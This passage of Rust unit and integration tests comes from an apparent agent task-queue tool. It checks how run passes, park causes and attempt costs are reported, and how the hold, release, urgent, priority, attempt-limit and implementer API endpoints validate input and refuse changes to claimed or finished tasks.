16686 "20260902-140501-aaaa",
16687 Some(&s),
16688 RunSlot {
16689 n: 1,
16690 resumed: false,
16691 resumed_later: None,
16692 prior: None,
16693 last: true,
16694 ..RunSlot::default()
16695 },
16696 &task,
16697 );
16698 assert!(v.outcome.contains("Parked"), "{}", v.outcome);
16699 }
16700
16701 fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
16702 let mut s = flow_run(RunStatus::Implementing, edit);
16703 s.parked = false;
16704 let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
16705 task_run_view(
16706 "20260902-140501-aaaa",
16707 Some(&s),
16708 RunSlot {
16709 n: 1,
16710 resumed: false,
16711 resumed_later: Some(2),
16712 prior: None,
16713 last: false,
16714 ..RunSlot::default()
16715 },
16716 &task,
16717 )
16718 }
16719
16720 #[test]
16721 fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
16722 let v = earlier_pass_view(|_| {});
16723 assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
16724 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
16725 assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
16726 assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
16727 assert_eq!(v.exit, RunExit::Interrupted);
16728 assert_eq!(v.attempt, AttemptCost::Unknown);
16729 }
16730
16731 #[test]
16732 fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
16733 let v = earlier_pass_view(|s| {
16734 s.quota.push(crate::run::QuotaLoss {
16735 cause: crate::agent::QuotaCause::UsageLimit,
16736 agent: String::new(),
16737 seat: "judge-1".to_owned(),
16738 node: "judge".to_owned(),
16739 at: Timestamp::now(),
16740 reset: None,
16741 });
16742 });
16743 assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
16744 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
16745 assert_eq!(v.attempt, AttemptCost::Unknown);
16746 }
16747
16748 #[test]
16749 fn the_current_pass_states_its_recorded_cause_and_cost() {
16750 let slot = || RunSlot {
16751 n: 1,
16752 resumed: false,
16753 resumed_later: None,
16754 prior: None,
16755 last: true,
16756 ..RunSlot::default()
16757 };
16758 let task = flow_task(&["20260902-140501-aaaa"]);
16759 let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
16760 let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
16761 assert_eq!(
16762 (v.exit, v.attempt),
16763 (RunExit::Parked, AttemptCost::Refunded)
16764 );
16765 let spent = flow_run(RunStatus::Blocked, |_| {});
16766 let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
16767 assert_eq!(v.attempt, AttemptCost::Spent);
16768 assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
16769 }
16770
16771 fn recorded_pass(index: usize, end: Option<crate::run::PassEnd>) -> crate::run::RunPass {
16772 crate::run::RunPass {
16773 index,
16774 started_at: Timestamp::now(),
16775 resumed: index > 0,
16776 ended_at: end.as_ref().map(|_| Timestamp::now()),
16777 end,
16778 task_entry: true,
16779 }
16780 }
16781
16782 fn parked(cause: crate::run::ParkCause) -> Option<crate::run::PassEnd> {
16783 Some(crate::run::PassEnd::Parked { cause })
16784 }
16785
16786 fn upgrade_cause() -> crate::run::ParkCause {
16787 crate::run::ParkCause::Upgrade {
16788 from: "0.121.0".to_owned(),
16789 to: Some("0.121.1".to_owned()),
16790 }
16791 }
16792
16793 fn settled_pass(
16794 run: &str,
16795 index: usize,
16796 cost: crate::queue::PassCost,
16797 ) -> crate::queue::TaskPass {
16798 crate::queue::TaskPass {
16799 run: run.to_owned(),
16800 pass_index: index,
16801 started_at: None,
16802 cost,
16803 attempts_after: 1,
16804 settled_at: Timestamp::now(),
16805 parked: None,
16806 }
16807 }
16808
16809 const RUN_X: &str = "20261011-223708-4334";
16810
16811 #[test]
16812 fn an_upgrade_pause_and_its_resume_are_two_passes_of_one_run_and_one_attempt() {
16813 use crate::queue::PassCost;
16814 let run = flow_run(RunStatus::Implementing, |s| {
16815 s.passes = vec![
16816 recorded_pass(0, parked(upgrade_cause())),
16817 recorded_pass(1, None),
16818 ];
16819 });
16820 let mut task = flow_task(&[RUN_X, RUN_X]);
16821 task.attempts = 1;
16822 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
16823 let h = task_history(&task, |_| Some(run.clone()));
16824 assert_eq!(h.len(), 2);
16825 assert_eq!(h[0].kind, "competition");
16826 assert_eq!(h[1].kind, "resume");
16827 assert_eq!(
16828 (h[0].exit, h[0].attempt),
16829 (RunExit::Parked, AttemptCost::Refunded)
16830 );
16831 assert!(
16832 h[0].outcome.contains("upgrade 0.121.0 \u{2192} 0.121.1"),
16833 "{}",
16834 h[0].outcome
16835 );
16836 assert!(h[0].outcome.contains("handed back"), "{}", h[0].outcome);
16837 assert!(
16838 h[0].outcome.contains("pass #2 resumed the same run"),
16839 "{}",
16840 h[0].outcome
16841 );
16842 assert!(
16843 h[0].outcome.contains("pass 1 of 2 over run"),
16844 "{}",
16845 h[0].outcome
16846 );
16847 assert!(!h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
16848 assert_eq!(
16849 h[0].exit_label,
16850 "parked for upgrade 0.121.0 \u{2192} 0.121.1, attempt refunded"
16851 );
16852 let f = task_flow(&task, &h, 2, None);
16853 assert_eq!((f.passes, f.runs, f.attempts, f.max_attempts), (2, 1, 1, 2));
16855 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
16856 assert!(
16857 f.edges[1].label.contains("upgrade 0.121.0"),
16858 "{}",
16859 f.edges[1].label
16860 );
16861 assert!(
16862 f.edges[1].label.contains("resume the same run"),
16863 "{}",
16864 f.edges[1].label
16865 );
16866 assert_eq!(f.nodes[1].note, Some("parked"));
16867 }
16868
16869 #[test]
16870 fn distinct_run_ids_render_all_recorded_passes_in_time_order() {
16871 let mut a = flow_run(RunStatus::Implementing, |s| {
16872 s.passes = vec![
16873 recorded_pass(0, parked(upgrade_cause())),
16874 recorded_pass(1, None),
16875 ];
16876 });
16877 let mut b = flow_run(RunStatus::Failed, |s| {
16878 s.passes = vec![recorded_pass(0, None)];
16879 });
16880 a.passes[0].started_at = "2026-10-10T00:00:00Z".parse().unwrap();
16881 b.passes[0].started_at = "2026-10-10T01:00:00Z".parse().unwrap();
16882 a.passes[1].started_at = "2026-10-10T02:00:00Z".parse().unwrap();
16883 let mut task = flow_task(&[]);
16884 task.start("a".into());
16885 task.start("b".into());
16886 task.start("a".into());
16887 assert_eq!(task.runs, ["b", "a"]);
16888 task.passes = vec![settled_pass("a", 0, crate::queue::PassCost::Refunded)];
16889 let h = task_history(&task, |id| {
16890 Some(if id == "a" { a.clone() } else { b.clone() })
16891 });
16892 assert_eq!(
16893 h.iter().map(|v| v.id.as_str()).collect::<Vec<_>>(),
16894 ["a", "b", "a"]
16895 );
16896 assert_eq!(h[0].attempt, AttemptCost::Refunded);
16897 assert!(h[0].outcome.contains("upgrade"));
16898 assert_eq!(h[2].kind, "resume");
16899 assert!(h[2].pass.is_some());
16900 task.runs = vec!["a".into(), "b".into(), "a".into()];
16902 let old = task_history(&task, |id| {
16903 Some(if id == "a" { a.clone() } else { b.clone() })
16904 });
16905 assert_eq!(
16906 old.iter()
16907 .map(|v| (&v.id, &v.kind, v.attempt))
16908 .collect::<Vec<_>>(),
16909 h.iter()
16910 .map(|v| (&v.id, &v.kind, v.attempt))
16911 .collect::<Vec<_>>()
16912 );
16913 }
16914
16915 #[test]
16916 fn an_upgrade_whose_target_was_not_known_says_so() {
16917 let run = flow_run(RunStatus::Implementing, |s| {
16918 s.passes = vec![
16919 recorded_pass(
16920 0,
16921 parked(crate::run::ParkCause::Upgrade {
16922 from: "0.121.0".to_owned(),
16923 to: None,
16924 }),
16925 ),
16926 recorded_pass(1, None),
16927 ];
16928 });
16929 let task = flow_task(&[RUN_X, RUN_X]);
16930 let h = task_history(&task, |_| Some(run.clone()));
16931 assert!(
16932 h[0].outcome.contains("upgrade from 0.121.0"),
16933 "{}",
16934 h[0].outcome
16935 );
16936 assert_eq!(h[0].attempt, AttemptCost::Unknown);
16938 }
16939
16940 #[test]
16941 fn each_pass_keeps_its_own_cause_across_several_resumes() {
16942 use crate::queue::PassCost;
16943 use crate::run::ParkCause;
16944 let run = flow_run(RunStatus::Implementing, |s| {
16945 s.passes = vec![
16946 recorded_pass(0, parked(upgrade_cause())),
16947 recorded_pass(
16948 1,
16949 parked(ParkCause::Interrupt {
16950 reason: "task a1b2 asked to run first".to_owned(),
16951 }),
16952 ),
16953 recorded_pass(2, parked(ParkCause::Operator)),
16954 recorded_pass(3, None),
16955 ];
16956 });
16957 let mut task = flow_task(&[RUN_X, RUN_X, RUN_X, RUN_X]);
16958 task.attempts = 1;
16959 task.passes = (0..3)
16960 .map(|i| settled_pass(RUN_X, i, PassCost::Refunded))
16961 .collect();
16962 let h = task_history(&task, |_| Some(run.clone()));
16963 assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
16964 assert!(
16965 h[1].outcome.contains("task a1b2 asked to run first"),
16966 "{}",
16967 h[1].outcome
16968 );
16969 assert!(!h[1].outcome.contains("upgrade"), "{}", h[1].outcome);
16970 assert!(
16971 h[2].outcome.contains("operator asked the loop to park"),
16972 "{}",
16973 h[2].outcome
16974 );
16975 assert!(h[3].outcome.is_empty() || !h[3].outcome.contains("upgrade"));
16976 let f = task_flow(&task, &h, 2, None);
16977 assert_eq!((f.passes, f.runs, f.attempts), (4, 1, 1));
16978 }
16979
16980 #[test]
16981 fn a_pass_the_next_one_found_open_is_unrecorded_never_an_upgrade() {
16982 let run = flow_run(RunStatus::Implementing, |s| {
16983 s.passes = vec![
16984 recorded_pass(0, Some(crate::run::PassEnd::Unrecorded)),
16985 recorded_pass(1, None),
16986 ];
16987 });
16988 let task = flow_task(&[RUN_X, RUN_X]);
16989 let h = task_history(&task, |_| Some(run.clone()));
16990 assert_eq!(h[0].exit, RunExit::Interrupted);
16991 assert_eq!(h[0].attempt, AttemptCost::Unknown);
16992 assert!(
16993 h[0].outcome.contains("without recording why"),
16994 "{}",
16995 h[0].outcome
16996 );
16997 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
16998 assert_eq!(h[0].pass.as_ref().map(|p| p.end), Some("unrecorded"));
16999 }
17000
17001 #[test]
17002 fn a_record_from_before_passes_stays_unknown_even_next_to_recorded_ones() {
17003 use crate::queue::PassCost;
17004 let run = flow_run(RunStatus::Implementing, |s| {
17007 s.passes = vec![
17008 recorded_pass(0, parked(upgrade_cause())),
17009 recorded_pass(1, None),
17010 ];
17011 });
17012 let mut task = flow_task(&[RUN_X, RUN_X, RUN_X]);
17013 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
17014 let h = task_history(&task, |_| Some(run.clone()));
17015 assert!(h[0].pass.is_none());
17016 assert_eq!(h[0].exit, RunExit::Interrupted);
17017 assert_eq!(h[0].attempt, AttemptCost::Unknown);
17018 assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
17019 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
17020 assert!(h[1].outcome.contains("upgrade 0.121.0"), "{}", h[1].outcome);
17021 let legacy = flow_run(RunStatus::Implementing, |_| {});
17023 let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(legacy.clone()));
17024 assert!(h.iter().all(|v| v.pass.is_none()));
17025 assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
17026 }
17027
17028 #[test]
17029 fn a_resume_outside_the_task_loop_does_not_shift_the_recorded_passes() {
17030 use crate::queue::PassCost;
17031 let mut web = recorded_pass(1, parked(crate::run::ParkCause::Operator));
17034 web.task_entry = false;
17035 let run = flow_run(RunStatus::Implementing, |s| {
17036 s.passes = vec![
17037 recorded_pass(0, parked(upgrade_cause())),
17038 web.clone(),
17039 recorded_pass(2, None),
17040 ];
17041 });
17042 let mut task = flow_task(&[RUN_X, RUN_X]);
17043 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
17044 let h = task_history(&task, |_| Some(run.clone()));
17045 assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
17046 assert!(!h[1].outcome.contains("not recorded"), "{}", h[1].outcome);
17047
17048 let mut web0 = recorded_pass(0, parked(upgrade_cause()));
17051 web0.task_entry = false;
17052 let run = flow_run(RunStatus::Implementing, |s| {
17053 s.passes = vec![web0.clone(), recorded_pass(1, None)];
17054 });
17055 let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(run.clone()));
17056 assert!(h[0].pass.is_none());
17057 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
17058 assert!(h[1].pass.is_some());
17059 }
17060
17061 #[tokio::test]
17062 async fn explicit_resumption_web_handler_matches_cli_without_a_listener() {
17063 let dir = tempfile::tempdir().unwrap();
17064 let queue = Queue::at(dir.path().join("queue"));
17065 let ui = Arc::new(Ui::new(
17066 queue.clone(),
17067 Questions::at(dir.path().join("questions")),
17068 Talks::at(dir.path().join("talks")),
17069 dir.path().join("runs"),
17070 dir.path().to_path_buf(),
17071 dir.path().to_path_buf(),
17072 ));
17073 let mut t = Task::new(
17074 "recover".into(),
17075 "Inspect".into(),
17076 PathBuf::from("."),
17077 Source::Human,
17078 );
17079 t.record_answer("Inspect then resume?".into(), "Inspect then wait".into());
17080 t.start("run-A".into());
17081 t.release_operator("choice", Some("resume-question"));
17082 t.resume_override = Some(crate::queue::OperatorResume {
17083 question_id: "resume-question".into(),
17084 at: jiff::Timestamp::now(),
17085 conductor_rehold: None,
17086 forced: true,
17087 pinned_run: Some("run-A".into()),
17088 });
17089 t.hold_machine(Some("inspection pending".into()));
17090 t.edit("recover".into(), "Reuse approved PR head".into())
17091 .unwrap();
17092 queue.put(&mut t).unwrap();
17093 let mut cli = t.clone();
17094 cli.release_operator("cli", None);
17095 let Json(reply) = queue_release(State(ui), Path(t.id.clone())).await.unwrap();
17096 let reloaded = queue.get(&t.id).unwrap();
17097 assert_eq!(reply.task.status, TaskStatus::Queued);
17098 assert!(reloaded.resume_override.is_none());
17099 assert_eq!(reloaded.answers, t.answers);
17100 let mut web = reloaded.resumption.unwrap();
17101 let cli = cli.resumption.unwrap();
17102 assert_eq!(web.source, "web");
17103 web.source = cli.source.clone();
17104 web.at = cli.at;
17105 assert_eq!(web, cli);
17106 }
17107
17108 #[tokio::test]
17109 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
17110 let f = Fixture::start().await;
17111 let queue = f.queue();
17112 let mut task = Task::new(
17113 "spent".to_owned(),
17114 "Try again".to_owned(),
17115 PathBuf::from("/repo/magi"),
17116 Source::Human,
17117 );
17118 task.start("20260902-140502-bbbb".to_owned());
17119 task.fail("agent gave up", 9);
17120 queue.put(&mut task).expect("file the task");
17121
17122 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
17123 assert_eq!(held.status, 200);
17124 assert_eq!(held.json()["status_str"], "held");
17125
17126 let released = f
17127 .post(&format!("/api/queue/{}/release", task.id), None)
17128 .await;
17129 assert_eq!(released.status, 200);
17130 assert_eq!(released.json()["status_str"], "queued");
17131 assert_eq!(released.json()["resumption"]["source"], "web");
17132 assert_eq!(released.json()["resumption"]["instruction"], "Try again");
17133 let mut cli = task.clone();
17134 cli.release_operator("cli", None);
17135 let web = queue.get(&task.id).unwrap().resumption.unwrap();
17136 let cli = cli.resumption.unwrap();
17137 assert_eq!(web.instruction, cli.instruction);
17138 assert_eq!(web.answers_through, cli.answers_through);
17139 assert_eq!(web.runs_through, cli.runs_through);
17140 assert_eq!(web.cleared_reason, cli.cleared_reason);
17141 assert_eq!(
17142 released.json()["attempts"],
17143 0,
17144 "release is a real second chance, not an instant re-hold"
17145 );
17146 assert_eq!(
17147 queue.get(&task.id).expect("reload").status,
17148 TaskStatus::Queued,
17149 "the change is on disk, not only in the reply"
17150 );
17151 assert!(
17152 !f.home
17153 .path()
17154 .join("queue")
17155 .join(format!("{}.lock", task.id))
17156 .exists(),
17157 "the claim the mutation took is released again"
17158 );
17159 }
17160
17161 #[tokio::test]
17162 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
17163 let f = Fixture::start().await;
17164 let queue = f.queue();
17165 let mut task = Task::new(
17166 "busy".to_owned(),
17167 "Running right now".to_owned(),
17168 PathBuf::from("/repo/magi"),
17169 Source::Human,
17170 );
17171 queue.put(&mut task).expect("file the task");
17172 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
17173
17174 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
17175
17176 assert_eq!(res.status, 409);
17177 assert_eq!(
17178 queue.get(&task.id).expect("reload").status,
17179 TaskStatus::Queued,
17180 "the refused hold changed nothing"
17181 );
17182 }
17183
17184 #[tokio::test]
17185 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
17186 let f = Fixture::start().await;
17187 let queue = f.queue();
17188 let mut task = Task::new(
17189 "waiting on the migration".to_owned(),
17190 "Do the thing".to_owned(),
17191 PathBuf::from("/repo/magi"),
17192 Source::Human,
17193 );
17194 queue.put(&mut task).expect("file the task");
17195
17196 let held = f
17197 .post(
17198 &format!("/api/queue/{}/hold", task.id),
17199 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
17200 )
17201 .await;
17202 assert_eq!(held.status, 200, "{}", held.body);
17203 assert_eq!(held.json()["status_str"], "held");
17204 assert_eq!(
17205 held.json()["hold_reason"],
17206 "waiting for 20260101-000000-aaaa to land"
17207 );
17208
17209 let listed = f.get("/api/queue").await.json();
17210 assert_eq!(
17211 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
17212 "the card reads the reason off the same list route"
17213 );
17214
17215 let mut plain = Task::new(
17218 "no reason given".to_owned(),
17219 "Do another thing".to_owned(),
17220 PathBuf::from("/repo/magi"),
17221 Source::Human,
17222 );
17223 queue.put(&mut plain).expect("file the task");
17224 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
17225 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
17226 assert!(held_plain.json()["hold_reason"].is_null());
17227
17228 let released = f
17229 .post(&format!("/api/queue/{}/release", task.id), None)
17230 .await;
17231 assert_eq!(released.status, 200);
17232 assert!(
17233 released.json()["hold_reason"].is_null(),
17234 "a release must clear the reason so the next hold does not inherit it"
17235 );
17236 }
17237
17238 #[test]
17239 fn urgent_request_requires_a_boolean_and_rejects_unknown_fields() {
17240 for urgent in [true, false] {
17241 let body: UrgentBody =
17242 serde_json::from_value(serde_json::json!({ "urgent": urgent })).unwrap();
17243 assert_eq!(body.urgent, urgent);
17244 }
17245 for input in [
17246 r#"{}"#,
17247 r#"{"urgent":null}"#,
17248 r#"{"urgent":"true"}"#,
17249 r#"{"urgent":1}"#,
17250 r#"{"urgent":true,"extra":false}"#,
17251 ] {
17252 assert!(
17253 serde_json::from_str::<UrgentBody>(input).is_err(),
17254 "{input}"
17255 );
17256 }
17257 }
17258
17259 #[tokio::test]
17260 async fn urgent_handler_saves_and_rejects_claims_without_a_server() {
17261 let home = TempDir::new().unwrap();
17262 let q = Queue::at(home.path().join("queue"));
17263 let ui = Arc::new(Ui::new(
17264 q.clone(),
17265 Questions::at(home.path().join("questions")),
17266 Talks::at(home.path().join("talks")),
17267 home.path().join("runs"),
17268 home.path().into(),
17269 home.path().into(),
17270 ));
17271 let mut task = Task::new(
17272 "urgent handler".into(),
17273 "keep".into(),
17274 home.path().into(),
17275 Source::Human,
17276 );
17277 for status in [TaskStatus::Queued, TaskStatus::Held] {
17278 task.status = status;
17279 q.put(&mut task).unwrap();
17280 for urgent in [true, true, false, false] {
17281 let saved = queue_urgent(
17282 State(Arc::clone(&ui)),
17283 Path(task.short().into()),
17284 Ok(Json(UrgentBody { urgent })),
17285 )
17286 .await
17287 .unwrap();
17288 assert_eq!(serde_json::to_value(saved.0).unwrap()["urgent"], urgent);
17289 assert_eq!(q.get(&task.id).unwrap().urgent, urgent);
17290 }
17291 }
17292 task.status = TaskStatus::Queued;
17293 q.put(&mut task).unwrap();
17294 let claim = q.claim(&task.id).unwrap();
17295 let error = queue_urgent(
17296 State(Arc::clone(&ui)),
17297 Path(task.id.clone()),
17298 Ok(Json(UrgentBody { urgent: true })),
17299 )
17300 .await
17301 .unwrap_err();
17302 assert_eq!(error.status, StatusCode::CONFLICT);
17303 assert!(error.message.contains("released"));
17304 drop(claim);
17305 for status in [
17306 TaskStatus::Running,
17307 TaskStatus::Done,
17308 TaskStatus::Failed,
17309 TaskStatus::Blocked,
17310 TaskStatus::Parked,
17311 ] {
17312 task.status = status;
17313 q.put(&mut task).unwrap();
17314 let error = queue_urgent(
17315 State(Arc::clone(&ui)),
17316 Path(task.id.clone()),
17317 Ok(Json(UrgentBody { urgent: false })),
17318 )
17319 .await
17320 .unwrap_err();
17321 assert_eq!(error.status, StatusCode::BAD_REQUEST);
17322 assert!(error.message.contains(status.as_str()));
17323 }
17324 }
17325
17326 #[tokio::test]
17327 async fn urgent_api_updates_preserves_and_validates_tasks() {
17328 let f = Fixture::start().await;
17329 let q = f.queue();
17330 let mut t = Task::new(
17331 "urgent API".into(),
17332 "unchanged".into(),
17333 PathBuf::from("/repo/magi"),
17334 Source::Human,
17335 );
17336 t.attempts = 2;
17337 t.priority = 9;
17338 t.interrupt = true;
17339 t.hold_reason = Some("waiting for approval".into());
17340 for status in [TaskStatus::Queued, TaskStatus::Held] {
17341 t.status = status;
17342 q.put(&mut t).unwrap();
17343 for urgent in [true, true, false, false] {
17344 let response = f
17345 .post(
17346 &format!("/api/queue/{}/urgent", t.short()),
17347 Some(&format!("{{\"urgent\":{urgent}}}")),
17348 )
17349 .await;
17350 assert_eq!(response.status, 200, "{}", response.body);
17351 assert_eq!(response.json()["urgent"], urgent);
17352 let saved = q.get(&t.id).unwrap();
17353 let mut before = serde_json::to_value(&t).unwrap();
17354 let mut after = serde_json::to_value(saved).unwrap();
17355 before["urgent"] = urgent.into();
17356 before.as_object_mut().unwrap().remove("updated_at");
17357 after.as_object_mut().unwrap().remove("updated_at");
17358 assert_eq!(after, before);
17359 }
17360 }
17361 let route = format!("/api/queue/{}/urgent", t.id);
17362 for body in [
17363 r#"{}"#,
17364 r#"{"urgent":null}"#,
17365 r#"{"urgent":"true"}"#,
17366 r#"{"urgent":1}"#,
17367 r#"{"urgent":true,"extra":false}"#,
17368 "{",
17369 ] {
17370 assert_eq!(f.post(&route, Some(body)).await.status, 400);
17371 }
17372 t.status = TaskStatus::Queued;
17373 q.put(&mut t).unwrap();
17374 let claim = q.claim(&t.id).unwrap();
17375 let response = f.post(&route, Some(r#"{"urgent":true}"#)).await;
17376 assert_eq!(response.status, 409, "{}", response.body);
17377 assert!(!q.get(&t.id).unwrap().urgent);
17378 drop(claim);
17379 for status in [
17380 TaskStatus::Running,
17381 TaskStatus::Done,
17382 TaskStatus::Failed,
17383 TaskStatus::Blocked,
17384 TaskStatus::Parked,
17385 ] {
17386 t.status = status;
17387 q.put(&mut t).unwrap();
17388 for urgent in [true, false] {
17389 let response = f
17390 .post(&route, Some(&format!("{{\"urgent\":{urgent}}}")))
17391 .await;
17392 assert_eq!(response.status, 400, "{}", response.body);
17393 assert!(response.body.contains(status.as_str()));
17394 assert!(response.body.contains("queued or held"));
17395 assert!(!q.get(&t.id).unwrap().urgent);
17396 }
17397 }
17398 assert_eq!(
17399 f.post("/api/queue/missing/urgent", Some(r#"{"urgent":true}"#))
17400 .await
17401 .status,
17402 404
17403 );
17404 }
17405
17406 #[tokio::test]
17407 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
17408 let f = Fixture::start().await;
17409 let queue = f.queue();
17410 let mut older = Task::new(
17411 "filed first".to_owned(),
17412 "x".to_owned(),
17413 PathBuf::from("/repo/magi"),
17414 Source::Human,
17415 );
17416 older.id = "20260101-000001-aaaa".to_owned();
17417 let mut newer = Task::new(
17418 "filed second".to_owned(),
17419 "x".to_owned(),
17420 PathBuf::from("/repo/magi"),
17421 Source::Human,
17422 );
17423 newer.id = "20260101-000002-bbbb".to_owned();
17424 queue.put(&mut older).expect("file older");
17425 queue.put(&mut newer).expect("file newer");
17426
17427 let before = f.get("/api/queue").await.json();
17430 assert_eq!(before[0]["id"], newer.id);
17431 assert_eq!(before[1]["id"], older.id);
17432
17433 let raised = f
17437 .post(
17438 &format!("/api/queue/{}/priority", older.id),
17439 Some(r#"{"priority":10}"#),
17440 )
17441 .await;
17442 assert_eq!(raised.status, 200, "{}", raised.body);
17443 assert_eq!(raised.json()["priority"], 10);
17444
17445 let after = f.get("/api/queue").await.json();
17446 let names: Vec<&str> = after
17447 .as_array()
17448 .unwrap()
17449 .iter()
17450 .map(|t| t["id"].as_str().unwrap())
17451 .collect();
17452 assert_eq!(names[0], older.id, "the raised task now sorts first");
17456 }
17457
17458 #[tokio::test]
17459 async fn task_attempt_limit_api_persists_validates_and_refuses_claims() {
17460 let dir = TempDir::new().unwrap();
17461 let q = Queue::at(dir.path().join("queue"));
17462 let ui = Arc::new(Ui::new(
17463 q.clone(),
17464 Questions::at(dir.path().join("questions")),
17465 Talks::at(dir.path().join("talks")),
17466 dir.path().join("runs"),
17467 dir.path().to_path_buf(),
17468 dir.path().to_path_buf(),
17469 ));
17470 let mut t = Task::new(
17471 "budget".into(),
17472 "keep".into(),
17473 dir.path().into(),
17474 Source::Human,
17475 );
17476 t.attempts = 2;
17477 t.runs.push("prior-run".into());
17478 t.hold_manual(Some("waiting".into()));
17479 q.put(&mut t).unwrap();
17480 let change = |value| {
17481 queue_attempt_limit(
17482 State(ui.clone()),
17483 Path(t.id.clone()),
17484 Ok(Json(AttemptLimitBody {
17485 attempt_limit: value,
17486 })),
17487 )
17488 };
17489 for value in [
17490 serde_json::json!(3),
17491 serde_json::Value::Null,
17492 serde_json::json!(1),
17493 ] {
17494 let response = change(value.clone()).await.unwrap();
17495 assert_eq!(
17496 serde_json::to_value(response.0).unwrap()["attempt_limit"],
17497 value
17498 );
17499 let saved = q.get(&t.id).unwrap();
17500 assert_eq!(
17501 serde_json::to_value(&saved).unwrap()["attempt_limit"],
17502 value
17503 );
17504 assert_eq!(saved.status, TaskStatus::Held);
17505 assert_eq!(saved.attempts, t.attempts);
17506 assert_eq!(saved.runs, t.runs);
17507 assert_eq!(saved.hold_reason, t.hold_reason);
17508 let detail = task_detail(State(ui.clone()), Path(t.id.clone()))
17509 .await
17510 .unwrap()
17511 .0;
17512 assert_eq!(detail.max_attempts, saved.effective_attempt_limit(2));
17513 assert_eq!(detail.flow.max_attempts, detail.max_attempts);
17514 let outcome = task_outcome(&saved, "prior-run", 2, |_| None);
17515 assert_eq!(outcome.max_attempts, detail.max_attempts);
17516 }
17517 for value in [
17518 serde_json::json!(0),
17519 serde_json::json!(-1),
17520 serde_json::json!(1.5),
17521 serde_json::json!("3"),
17522 serde_json::json!(true),
17523 ] {
17524 assert_eq!(
17525 change(value).await.err().unwrap().status,
17526 StatusCode::BAD_REQUEST
17527 );
17528 }
17529 assert!(serde_json::from_str::<AttemptLimitBody>("{}").is_err());
17530 let claim = q.claim(&t.id).unwrap();
17531 assert_eq!(
17532 change(serde_json::json!(4)).await.err().unwrap().status,
17533 StatusCode::CONFLICT
17534 );
17535 drop(claim);
17536 for status in [
17537 TaskStatus::Running,
17538 TaskStatus::Done,
17539 TaskStatus::Failed,
17540 TaskStatus::Blocked,
17541 TaskStatus::Parked,
17542 ] {
17543 let mut stored = q.get(&t.id).unwrap();
17544 stored.status = status;
17545 q.put(&mut stored).unwrap();
17546 assert_eq!(
17547 change(serde_json::json!(4)).await.err().unwrap().status,
17548 StatusCode::BAD_REQUEST
17549 );
17550 assert_eq!(q.get(&t.id).unwrap().attempt_limit.unwrap().get(), 1);
17551 }
17552 let mut stored = q.get(&t.id).unwrap();
17553 stored.status = TaskStatus::Queued;
17554 q.put(&mut stored).unwrap();
17555 let _ = change(serde_json::Value::Null).await.unwrap();
17556 assert_eq!(q.get(&t.id).unwrap().attempt_limit, None);
17557 }
17558
17559 #[tokio::test]
17560 async fn task_implementers_api_persists_and_refuses_claimed_or_finished_tasks() {
17561 let dir = TempDir::new().unwrap();
17562 let repo = dir.path().join("repo");
17563 std::fs::create_dir(&repo).unwrap();
17564 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).unwrap();
17565 let q = Queue::at(dir.path().join("queue"));
17566 let ui = Arc::new(Ui::new(
17567 q.clone(),
17568 Questions::at(dir.path().join("questions")),
17569 Talks::at(dir.path().join("talks")),
17570 dir.path().join("runs"),
17571 dir.path().to_path_buf(),
17572 repo.clone(),
17573 ));
17574 let mut t = Task::new(
17575 "seats".into(),
17576 "keep instruction".into(),
17577 repo,
17578 Source::Human,
17579 );
17580 t.runs.push("prior-run".into());
17581 t.hold_manual(Some("waiting".into()));
17582 q.put(&mut t).unwrap();
17583 let change = |count| {
17584 queue_implementers(
17585 State(ui.clone()),
17586 Path(t.id.clone()),
17587 Ok(Json(ImplementersBody {
17588 implementers: count,
17589 })),
17590 )
17591 };
17592 for count in [2, 1, 2] {
17593 let response = change(count).await.unwrap();
17594 assert_eq!(response.0.task.implementers(), Some(usize::from(count)));
17595 let saved = q.get(&t.id).unwrap();
17596 assert_eq!(saved.implementers(), Some(usize::from(count)));
17597 assert_eq!(saved.runs, t.runs);
17598 assert_eq!(saved.instruction, t.instruction);
17599 }
17600 for count in [0, 4] {
17601 assert_eq!(
17602 change(count).await.err().unwrap().status,
17603 StatusCode::BAD_REQUEST
17604 );
17605 }
17606 assert!(serde_json::from_str::<ImplementersBody>(r#"{"implementers":256}"#).is_err());
